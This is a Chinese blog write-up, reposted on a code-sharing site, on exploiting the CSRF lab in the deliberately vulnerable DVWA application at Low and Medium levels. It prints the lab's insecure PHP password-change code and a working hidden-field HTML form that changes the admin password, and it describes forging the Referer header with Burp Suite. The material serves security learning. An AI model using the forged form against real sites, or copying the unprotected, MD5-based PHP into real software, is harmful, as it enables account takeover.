码迷,mamicode.com
首页 > 其他好文 > 详细

2. DVWA亲测CSRF漏洞

时间:2018-05-24 18:57:41      阅读:199      评论:0      收藏:0      [点我收藏+]

标签:doctype   upd   ade   image   psu   漏洞   开始   ble   字符串   

技术分享图片

技术分享图片技术分享图片

DVWA登陆      用户名:admin   密码:password

Low级:

查看源代码:
 
<?php   
                   
    if (isset($_GET[‘Change‘])) {   
       
        // Turn requests into variables   
        $pass_new = $_GET[‘password_new‘];   
        $pass_conf = $_GET[‘password_conf‘];   
  
  
        if (($pass_new == $pass_conf)){   
            $pass_new = mysql_real_escape_string($pass_new);   
            $pass_new = md5($pass_new);   
  
            $insert="UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘admin‘;";   
            $result=mysql_query($insert) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );   
                           
            echo "<pre> Password Changed </pre>";           
            mysql_close();   
        }   
       
        else{           
            echo "<pre> Passwords did not match. </pre>";               
        }   
  
    }   
?>
             首先获取输入的两个密码然后判断两个值是否相等,若相等则接着对pass_new变量进行调用mysql_real_escape_string()函数来进行字符串的过滤、再调用md5()函数对输入的密码进行MD5加密,最后再将新密码更新到数据库中。整段代码因为调用了mysql_real_escape_string()函数从而有效地过滤了SQL注入,但是对CSRF没有任何的防御机制。
 
            进入相应的页面可以看到提示直接输入新密码以及确认新密码的两项输入进行更改密码的操作而不需要重新确认一遍当前的密码:
技术分享图片
这时我们先尝试输入  test   test  ,来看一下页面效果:
 
 技术分享图片技术分享图片

技术分享图片

 

发现密码修改成功,我们来分析一下过程:
 技术分享图片
我们用burpsuite来抓包查看:
 技术分享图片
 
 技术分享图片
我们伪造一个网址发给受害者,如果受害者在访问DVWA,只要受害者点击网址,密码就会发生改变
但是这样的网址太显眼,我们需要进一步的装饰伪造
 技术分享图片
<!DOCTYPE html>
<html>
<body>
    <form action="http://127.0.0.1/DVWA/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacker">
        <input type="hidden" name="password_conf" value="hacker">
        <input type="hidden" name="Change" value="Change">
        <input type="submit" value="Click Me">
    </form>
</body>
</html>

技术分享图片

把 这个html  文件发给受害者,诱骗受害者点击 
 技术分享图片
 
点击后直接出现:
 
技术分享图片技术分享图片

 

 技术分享图片

 
密码修改成功
 

Medium级:

Medium级的修改密码的界面还是和Low级的一样,不需要进行身份认证即输入当前的密码
<?php   
               
    if (isset($_GET[‘Change‘])) {   
       
        // Checks the http referer header   
        if ( eregi ( "127.0.0.1", $_SERVER[‘HTTP_REFERER‘] ) ){   
       
            // Turn requests into variables   
            $pass_new = $_GET[‘password_new‘];   
            $pass_conf = $_GET[‘password_conf‘];   
  
            if ($pass_new == $pass_conf){   
                $pass_new = mysql_real_escape_string($pass_new);   
                $pass_new = md5($pass_new);   
  
                $insert="UPDATE `users` SET password = ‘$pass_new‘ WHERE user = ‘admin‘;";  
                $result=mysql_query($insert) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );   
                           
                echo "<pre> Password Changed </pre>";           
                mysql_close();   
            }   
       
            else{           
                echo "<pre> Passwords did not match. </pre>";               
            }       
  
        }   
           
    }   
?> 
一开始就调用eregi()函数来判断HTTP头的referer字段里是不是包含“127.0.0.1”字符串,即发送请求的是不是本机,如果是则继续后面代码的执行。后面的代码和low级的一样就没啥说的了。
 
此时我们的LOW等级方法已经失效,我们再用burpsuite抓包对比看一下:
 
技术分享图片

 

 技术分享图片
 
 
接下来我们进行抓包改包
 
 技术分享图片
 技术分享图片

技术分享图片技术分享图片

 

 
修改成功
 

High级:

技术分享图片
 
和前面两个等级不同,high等级有了用户token,而且每次修改密码,token都是变化的
 
 技术分享图片
 技术分享图片

 

Impossible级:

和前面两个等级不同,impossible级修改密码的界面是需要通过三次输入,即增加了输入当前密码的项,从而能够进行相应的身份认证:
技术分享图片

 

 

2. DVWA亲测CSRF漏洞

标签:doctype   upd   ade   image   psu   漏洞   开始   ble   字符串   

原文地址:https://www.cnblogs.com/bmjoker/p/9084451.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!